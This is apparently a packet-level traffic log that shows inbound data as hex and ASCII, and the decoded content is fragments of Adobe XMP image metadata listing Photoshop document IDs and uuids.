2022-07-20 17:09:01 UTC	7599	IN	Data Raw: 32 37 33 30 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 30 41 38 34 41 38 41 37 37 38 35 42 38 42 37 30 36 45 35 41 37 44 38 39 43 46 44 43 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 30 46 44 38 38 38 45 35 41 34 37 42 30 46 36 39 33 39 43 39 32 34 33 32 45 34 37 46 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 30 34 44 33 33 35 45 33 44 33 44 41 34 35 38 36 37 34 42 32 45 34 32 32 39 32 32 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 31 33 31 36 36 33 30 38 36 43 34 35 38 33 41 30 41 43 36 31 34 35 34 45 42 35 46 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 44 35 46 41 42 32 35 38 39 46 42 33 32 34 42 39 32 43 31 30 32 34 33 34 33 37 32 44 Data Ascii: 273000</rdf:li> <rdf:li>9D0A84A8A7785B8B706E5A7D89CFDC0D</rdf:li> <rdf:li>9D0FD888E5A47B0F6939C92432E47F05</rdf:li> <rdf:li>9D204D335E3D3DA458674B2E422922F8</rdf:li> <rdf:li>9D2131663086C4583A0AC61454EB5F6D</rdf:li> <rdf:li>9D2D5FAB2589FB324B92C102434372D
2022-07-20 17:09:01 UTC	7607	IN	Data Raw: 45 37 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 46 38 39 39 34 39 30 36 38 31 33 41 46 36 41 36 35 30 42 46 35 39 31 46 37 34 33 35 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 30 37 32 44 42 30 37 38 45 43 44 46 39 38 44 30 33 32 33 36 30 46 37 30 41 31 43 30 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 30 41 34 45 44 35 45 39 41 45 42 33 30 45 33 37 31 45 32 33 45 44 41 36 33 42 34 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 31 32 41 34 35 43 31 43 45 37 34 31 34 30 44 42 38 46 45 32 46 46 32 35 35 43 34 33 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 31 44 45 31 38 41 32 36 34 39 30 43 33 35 32 34 33 39 38 45 31 30 38 30 36 30 45 42 43 35 3c Data Ascii: E76C</rdf:li> <rdf:li>A2F8994906813AF6A650BF591F7435B9</rdf:li> <rdf:li>A3072DB078ECDF98D032360F70A1C016</rdf:li> <rdf:li>A30A4ED5E9AEB30E371E23EDA63B4260</rdf:li> <rdf:li>A312A45C1CE74140DB8FE2FF255C43C9</rdf:li> <rdf:li>A31DE18A26490C3524398E108060EBC5<
2022-07-20 17:09:01 UTC	7623	IN	Data Raw: 35 31 46 43 31 35 46 44 46 46 44 45 32 44 41 43 32 33 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 31 43 30 35 35 36 39 43 32 31 37 37 46 30 45 39 31 38 32 42 32 45 35 43 42 46 32 35 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 31 45 36 46 31 45 44 42 46 44 31 32 36 38 43 42 45 37 33 36 30 46 39 41 37 43 46 45 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 32 35 42 31 30 30 33 44 42 45 35 39 45 38 39 44 37 31 35 46 30 30 39 34 38 45 44 42 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 32 42 33 38 46 38 31 43 45 42 36 38 43 44 37 45 37 39 45 45 30 46 35 41 39 32 30 41 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 32 42 34 46 41 44 39 38 45 31 46 42 30 32 30 Data Ascii: 51FC15FDFFDE2DAC2372</rdf:li> <rdf:li>AE1C05569C2177F0E9182B2E5CBF25A2</rdf:li> <rdf:li>AE1E6F1EDBFD1268CBE7360F9A7CFE49</rdf:li> <rdf:li>AE25B1003DBE59E89D715F00948EDBE7</rdf:li> <rdf:li>AE2B38F81CEB68CD7E79EE0F5A920A71</rdf:li> <rdf:li>AE2B4FAD98E1FB020
2022-07-20 17:09:01 UTC	7639	IN	Data Raw: 46 43 31 38 45 36 44 32 33 38 32 38 30 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 31 42 39 38 39 44 46 31 46 38 35 44 39 37 33 30 33 36 36 35 30 39 42 38 35 39 41 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 42 42 39 42 34 42 42 32 44 36 30 38 46 31 36 44 42 46 31 31 36 36 38 35 46 38 42 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 46 45 41 36 46 43 37 34 36 36 38 36 45 46 31 31 36 33 42 32 43 43 34 34 34 46 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 35 43 45 35 30 30 32 46 43 44 33 42 30 39 31 36 36 46 30 37 41 31 35 45 30 33 44 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 36 39 39 32 34 41 37 31 32 46 33 42 39 38 33 35 43 46 33 46 Data Ascii: FC18E6D238280FF</rdf:li> <rdf:li>B941B989DF1F85D9730366509B859A17</rdf:li> <rdf:li>B94BB9B4BB2D608F16DBF116685F8B25</rdf:li> <rdf:li>B94FEA6FC746686EF1163B2CC444F868</rdf:li> <rdf:li>B95CE5002FCD3B09166F07A15E03DEA8</rdf:li> <rdf:li>B969924A712F3B9835CF3F
2022-07-20 17:09:01 UTC	7646	IN	Data Raw: 37 38 44 34 41 36 41 43 33 42 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 43 35 43 35 42 42 38 45 39 45 33 38 35 41 44 39 42 41 34 35 38 38 37 44 41 32 39 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 32 38 46 45 35 43 43 45 31 30 38 33 43 30 43 45 39 32 45 45 41 36 34 35 35 30 30 39 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 32 46 46 33 44 31 31 35 46 43 43 41 34 46 38 45 46 32 38 33 45 31 46 36 46 35 46 46 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 35 31 31 33 44 38 34 45 35 38 36 44 45 34 46 41 42 42 41 37 30 37 38 36 33 37 43 37 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 36 30 44 35 38 41 38 30 34 33 35 46 32 30 38 39 30 41 46 45 35 36 Data Ascii: 78D4A6AC3BF9A</rdf:li> <rdf:li>BF1C5C5BB8E9E385AD9BA45887DA29B4</rdf:li> <rdf:li>BF28FE5CCE1083C0CE92EEA6455009F5</rdf:li> <rdf:li>BF2FF3D115FCCA4F8EF283E1F6F5FFF5</rdf:li> <rdf:li>BF5113D84E586DE4FABBA7078637C735</rdf:li> <rdf:li>BF60D58A80435F20890AFE56
2022-07-20 17:09:01 UTC	7662	IN	Data Raw: 45 42 37 46 30 35 41 31 38 33 30 33 35 43 46 35 45 42 38 33 41 44 39 30 32 42 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 41 43 41 32 32 38 34 44 35 41 39 32 39 35 38 35 46 42 37 46 38 31 36 31 30 33 46 31 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 42 46 44 46 45 37 37 43 36 39 44 44 44 38 36 30 37 37 41 43 33 45 33 33 38 37 38 44 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 43 30 32 32 31 44 38 32 41 41 37 44 41 38 37 32 41 36 31 42 45 32 39 30 43 42 34 41 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 44 34 32 39 32 36 34 42 41 46 36 32 31 36 38 37 38 42 36 42 31 33 46 38 30 43 30 35 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 44 34 34 30 30 35 Data Ascii: EB7F05A183035CF5EB83AD902B27A</rdf:li> <rdf:li>CAACA2284D5A929585FB7F816103F153</rdf:li> <rdf:li>CABFDFE77C69DDD86077AC3E33878DF9</rdf:li> <rdf:li>CAC0221D82AA7DA872A61BE290CB4A8D</rdf:li> <rdf:li>CAD429264BAF6216878B6B13F80C0569</rdf:li> <rdf:li>CAD44005
2022-07-20 17:09:01 UTC	7678	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 45 44 43 38 46 37 39 33 38 38 41 31 42 32 34 30 36 41 33 41 45 35 33 35 31 36 43 45 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 46 33 45 43 38 30 37 38 36 33 46 42 36 44 36 37 34 31 46 32 30 38 44 39 36 35 31 30 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 46 37 42 33 30 36 37 41 38 44 44 32 39 36 35 42 41 42 43 42 30 43 46 31 30 30 37 42 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 46 37 44 45 41 36 45 42 42 36 46 38 31 31 35 31 35 33 39 36 33 39 30 36 36 34 30 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 46 38 30 39 35 36 35 36 46 39 32 34 37 33 46 38 43 37 35 31 37 42 32 44 33 33 46 37 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>D5EDC8F79388A1B2406A3AE53516CEE2</rdf:li> <rdf:li>D5F3EC807863FB6D6741F208D9651037</rdf:li> <rdf:li>D5F7B3067A8DD2965BABCB0CF1007BEA</rdf:li> <rdf:li>D5F7DEA6EBB6F811515396390664097D</rdf:li> <rdf:li>D5F8095656F92473F8C7517B2D33F753</rdf:li>
2022-07-20 17:09:01 UTC	7686	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 41 45 32 34 32 39 33 34 44 42 34 30 30 38 37 46 38 30 46 43 45 43 31 42 34 46 30 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 42 39 32 44 43 33 37 31 38 33 44 32 33 34 30 38 38 45 38 35 46 36 46 43 35 36 41 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 44 35 32 32 33 41 31 42 45 37 46 45 30 31 39 44 45 45 35 33 36 31 45 31 45 34 34 44 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 44 41 36 30 41 45 41 36 46 37 38 35 37 30 31 44 45 37 41 33 30 44 43 38 32 33 33 43 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 46 31 32 31 42 31 45 43 45 33 44 31 30 34 45 30 34 41 37 32 44 33 31 33 45 38 32 46 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: i> <rdf:li>DBAE242934DB40087F80FCEC1B4F096F</rdf:li> <rdf:li>DBB92DC37183D234088E85F6FC56AB41</rdf:li> <rdf:li>DBD5223A1BE7FE019DEE5361E1E44DDA</rdf:li> <rdf:li>DBDA60AEA6F785701DE7A30DC8233CD8</rdf:li> <rdf:li>DBF121B1ECE3D104E04A72D313E82FB6</rdf:li> <r
2022-07-20 17:09:01 UTC	7702	IN	Data Raw: 64 66 3a 6c 69 3e 45 36 46 39 36 39 34 38 35 37 36 36 44 39 30 44 34 41 30 36 32 31 37 39 30 41 33 39 41 42 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 39 39 30 31 44 42 37 43 33 42 41 46 42 45 33 42 31 46 43 45 31 39 30 35 34 45 46 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 39 44 31 44 31 35 32 46 38 45 43 42 42 45 43 30 33 43 32 46 45 30 46 39 32 39 31 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 42 41 34 42 39 39 43 32 37 33 31 39 36 44 45 41 33 34 34 31 43 42 41 46 30 39 37 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 30 46 44 41 36 41 33 37 32 33 45 33 39 35 39 31 46 36 30 33 38 38 43 38 31 42 42 31 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>E6F969485766D90D4A0621790A39ABB7</rdf:li> <rdf:li>E6F9901DB7C3BAFBE3B1FCE19054EFEA</rdf:li> <rdf:li>E6F9D1D152F8ECBBEC03C2FE0F929157</rdf:li> <rdf:li>E6FBA4B99C273196DEA3441CBAF097FB</rdf:li> <rdf:li>E70FDA6A3723E39591F60388C81BB17C</rdf:li> <rdf:li
2022-07-20 17:09:01 UTC	7718	IN	Data Raw: 33 45 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 41 31 44 42 43 44 41 39 34 46 41 43 44 46 31 33 31 46 43 41 35 35 46 35 44 32 43 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 43 31 46 32 36 45 45 43 43 31 42 44 43 44 38 34 32 36 31 43 31 44 46 37 38 44 44 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 30 30 36 33 30 42 37 44 43 41 39 31 41 37 33 37 37 44 45 36 31 43 35 44 32 31 45 41 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 30 32 33 43 36 37 39 42 37 30 43 39 31 39 31 43 31 39 43 36 33 30 42 38 46 33 36 42 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 31 35 36 34 45 35 42 34 31 35 34 39 46 44 43 30 41 37 46 41 44 42 37 43 31 46 44 38 38 39 3c Data Ascii: 3E69</rdf:li> <rdf:li>F0FA1DBCDA94FACDF131FCA55F5D2C54</rdf:li> <rdf:li>F0FC1F26EECC1BDCD84261C1DF78DDC6</rdf:li> <rdf:li>F100630B7DCA91A7377DE61C5D21EAF9</rdf:li> <rdf:li>F1023C679B70C9191C19C630B8F36B7B</rdf:li> <rdf:li>F11564E5B41549FDC0A7FADB7C1FD889<
2022-07-20 17:09:01 UTC	7726	IN	Data Raw: 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 46 35 33 31 37 36 34 41 41 41 35 45 43 33 39 45 45 44 36 35 41 32 36 46 31 41 31 43 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 46 43 38 44 42 39 34 45 44 31 43 34 36 31 30 42 31 46 35 45 46 34 33 37 38 37 39 35 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 30 34 31 46 42 38 33 34 45 44 41 38 37 35 42 30 34 37 30 45 37 41 34 46 46 38 44 33 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 30 34 37 34 32 39 31 33 39 35 34 31 45 38 33 44 42 31 45 45 31 42 44 43 43 31 36 36 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 30 35 43 30 38 45 34 31 35 35 35 46 46 43 42 45 32 35 31 41 45 30 44 43 32 44 41 36 45 31 3c 2f 72 Data Ascii: 38</rdf:li> <rdf:li>F5F531764AAA5EC39EED65A26F1A1CEA</rdf:li> <rdf:li>F5FC8DB94ED1C4610B1F5EF437879500</rdf:li> <rdf:li>F6041FB834EDA875B0470E7A4FF8D36F</rdf:li> <rdf:li>F6047429139541E83DB1EE1BDCC166E5</rdf:li> <rdf:li>F605C08E41555FFCBE251AE0DC2DA6E1</r
2022-07-20 17:09:01 UTC	7742	IN	Data Raw: 33 62 39 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 38 63 34 32 30 34 30 2d 39 63 37 63 2d 31 31 37 38 2d 62 37 62 37 2d 62 30 34 62 61 38 36 63 62 66 66 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 39 31 35 63 65 30 39 2d 31 33 64 36 2d 31 31 65 35 2d 38 31 37 61 2d 66 31 64 65 31 61 30 38 31 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 39 63 63 66 61 36 66 2d 30 36 64 31 2d 63 35 34 64 2d 38 65 35 61 2d 66 66 66 30 33 66 34 62 37 61 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 Data Ascii: 3b98d</rdf:li> <rdf:li>adobe:docid:photoshop:08c42040-9c7c-1178-b7b7-b04ba86cbfff</rdf:li> <rdf:li>adobe:docid:photoshop:0915ce09-13d6-11e5-817a-f1de1a081066</rdf:li> <rdf:li>adobe:docid:photoshop:09ccfa6f-06d1-c54d-8e5a-fff03f4b7a54</rdf:li> <rdf:li>adob
2022-07-20 17:09:01 UTC	7758	IN	Data Raw: 3a 33 38 30 36 34 36 66 38 2d 63 61 62 66 2d 31 31 37 38 2d 62 36 32 30 2d 61 31 36 33 30 65 64 61 30 62 61 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 30 38 65 61 32 65 2d 36 63 30 30 2d 31 31 65 37 2d 61 35 66 32 2d 66 37 65 32 62 32 34 36 63 30 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 32 63 30 31 36 61 2d 38 66 34 31 2d 31 31 65 37 2d 61 63 38 30 2d 61 33 62 36 61 61 64 63 30 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 ff e1 ff c5 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 6d 70 2f 65 78 74 65 6e 73 69 6f 6e 2f 00 31 44 38 42 45 41 31 38 34 38 41 38 32 Data Ascii: :380646f8-cabf-1178-b620-a1630eda0ba1</rdf:li> <rdf:li>adobe:docid:photoshop:3808ea2e-6c00-11e7-a5f2-f7e2b246c064</rdf:li> <rdf:li>adobe:docid:photoshop:382c016a-8f41-11e7-ac80-a3b6aadc0915</rdf:li> <rdfhttp://ns.adobe.com/xmp/extension/1D8BEA1848A82
2022-07-20 17:09:01 UTC	7766	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 39 39 38 62 62 37 2d 33 34 30 36 2d 31 31 37 38 2d 62 66 32 36 2d 64 62 37 36 30 36 38 30 31 61 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 39 30 34 36 30 2d 66 31 65 33 2d 31 31 65 37 2d 61 62 31 30 2d 62 37 36 39 63 62 37 66 66 62 65 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 65 36 39 39 32 2d 36 33 37 62 2d 31 31 37 62 2d 39 36 31 64 2d 38 66 62 35 34 31 66 35 32 61 31 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f Data Ascii: > <rdf:li>adobe:docid:photoshop:49998bb7-3406-1178-bf26-db7606801a44</rdf:li> <rdf:li>adobe:docid:photoshop:4a590460-f1e3-11e7-ab10-b769cb7ffbe0</rdf:li> <rdf:li>adobe:docid:photoshop:4a5e6992-637b-117b-961d-8fb541f52a1a</rdf:li> <rdf:li>adobe:docid:photo
2022-07-20 17:09:01 UTC	7782	IN	Data Raw: 34 2d 31 31 64 38 2d 39 63 65 38 2d 65 63 66 65 65 32 34 61 61 62 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 36 35 39 38 62 61 31 2d 33 36 39 36 2d 31 31 65 37 2d 61 38 30 39 2d 61 62 62 65 62 64 30 32 63 34 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 36 36 36 62 62 62 33 2d 32 62 32 37 2d 31 31 65 36 2d 61 38 65 35 2d 66 31 63 30 39 62 31 37 65 66 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 36 38 39 36 66 30 66 2d 36 39 61 63 2d 36 65 34 30 2d 39 32 31 63 2d 34 38 32 66 65 34 35 33 64 65 64 39 3c 2f 72 Data Ascii: 4-11d8-9ce8-ecfee24aabd6</rdf:li> <rdf:li>adobe:docid:photoshop:76598ba1-3696-11e7-a809-abbebd02c4fd</rdf:li> <rdf:li>adobe:docid:photoshop:7666bbb3-2b27-11e6-a8e5-f1c09b17ef8c</rdf:li> <rdf:li>adobe:docid:photoshop:76896f0f-69ac-6e40-921c-482fe453ded9</r
2022-07-20 17:09:02 UTC	8589	IN	Data Raw: 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 34 63 37 34 31 64 61 2d 37 39 31 62 2d 62 62 34 64 2d 62 32 65 39 2d 36 63 37 35 62 37 39 62 63 64 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 34 64 33 33 31 39 63 2d 34 37 39 37 2d 31 31 65 36 2d 38 38 39 63 2d 66 30 62 62 63 65 38 34 38 31 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 34 65 37 37 37 63 36 2d 65 36 62 32 2d 31 31 64 37 2d 39 66 66 37 2d 63 37 31 66 65 31 62 66 65 63 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 35 31 33 35 32 37 Data Ascii: obe:docid:photoshop:a4c741da-791b-bb4d-b2e9-6c75b79bcd63</rdf:li> <rdf:li>adobe:docid:photoshop:a4d3319c-4797-11e6-889c-f0bbce84811d</rdf:li> <rdf:li>adobe:docid:photoshop:a4e777c6-e6b2-11d7-9ff7-c71fe1bfec95</rdf:li> <rdf:li>adobe:docid:photoshop:a513527
2022-07-20 17:09:02 UTC	8597	IN	Data Raw: 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 35 61 61 39 34 39 2d 62 36 61 65 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 37 32 37 62 32 38 2d 36 38 65 62 2d 31 31 65 37 2d 39 30 37 37 2d 66 34 34 62 62 38 66 62 63 64 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 61 33 35 66 62 61 2d 61 31 32 65 2d 31 31 37 37 2d 61 32 39 30 2d 38 37 66 33 66 35 30 61 33 32 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 Data Ascii: 740c37af</rdf:li> <rdf:li>adobe:docid:photoshop:bc5aa949-b6ae-11e1-b6a6-d2e6740c37af</rdf:li> <rdf:li>adobe:docid:photoshop:bc727b28-68eb-11e7-9077-f44bb8fbcdc1</rdf:li> <rdf:li>adobe:docid:photoshop:bca35fba-a12e-1177-a290-87f3f50a32fc</rdf:li> <rdf:li>a
2022-07-20 17:09:02 UTC	8613	IN	Data Raw: 68 6f 70 3a 65 39 33 31 61 66 39 65 2d 62 61 63 61 2d 31 31 64 38 2d 61 30 38 63 2d 63 63 38 34 39 32 34 32 63 31 39 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 39 33 32 31 38 31 63 2d 66 34 65 35 2d 62 34 34 63 2d 38 33 65 61 2d 63 64 64 32 37 61 30 35 31 31 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 39 35 65 33 36 61 64 2d 62 66 38 39 2d 31 31 64 38 2d 38 66 37 39 2d 64 35 63 36 61 61 32 38 32 64 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 39 63 38 39 63 66 33 2d 31 34 39 35 2d 31 31 65 37 2d 62 37 61 61 Data Ascii: hop:e931af9e-baca-11d8-a08c-cc849242c19a</rdf:li> <rdf:li>adobe:docid:photoshop:e932181c-f4e5-b44c-83ea-cdd27a051107</rdf:li> <rdf:li>adobe:docid:photoshop:e95e36ad-bf89-11d8-8f79-d5c6aa282d20</rdf:li> <rdf:li>adobe:docid:photoshop:e9c89cf3-1495-11e7-b7aa
2022-07-20 17:09:02 UTC	8629	IN	Data Raw: 64 3a 31 39 35 44 39 44 46 36 39 32 43 39 44 46 31 31 42 46 34 34 38 39 46 32 35 35 32 34 37 37 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 39 39 37 38 34 39 34 39 44 42 30 45 30 31 31 42 33 42 31 42 34 34 38 46 46 42 44 43 33 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 39 39 43 34 43 32 37 35 35 30 35 44 46 31 31 42 45 33 32 41 33 32 44 31 42 45 37 42 46 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 39 43 39 30 44 45 46 42 42 45 31 44 45 31 31 42 42 45 37 44 41 39 46 42 34 36 36 44 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 39 45 32 35 31 34 45 32 39 30 39 45 30 31 31 41 30 42 41 43 33 44 34 34 30 44 36 31 43 43 34 3c Data Ascii: d:195D9DF692C9DF11BF4489F25524774A</rdf:li> <rdf:li>uuid:199784949DB0E011B3B1B448FFBDC304</rdf:li> <rdf:li>uuid:199C4C275505DF11BE32A32D1BE7BF3C</rdf:li> <rdf:li>uuid:19C90DEFBBE1DE11BBE7DA9FB466DBA1</rdf:li> <rdf:li>uuid:19E2514E2909E011A0BAC3D440D61CC4<
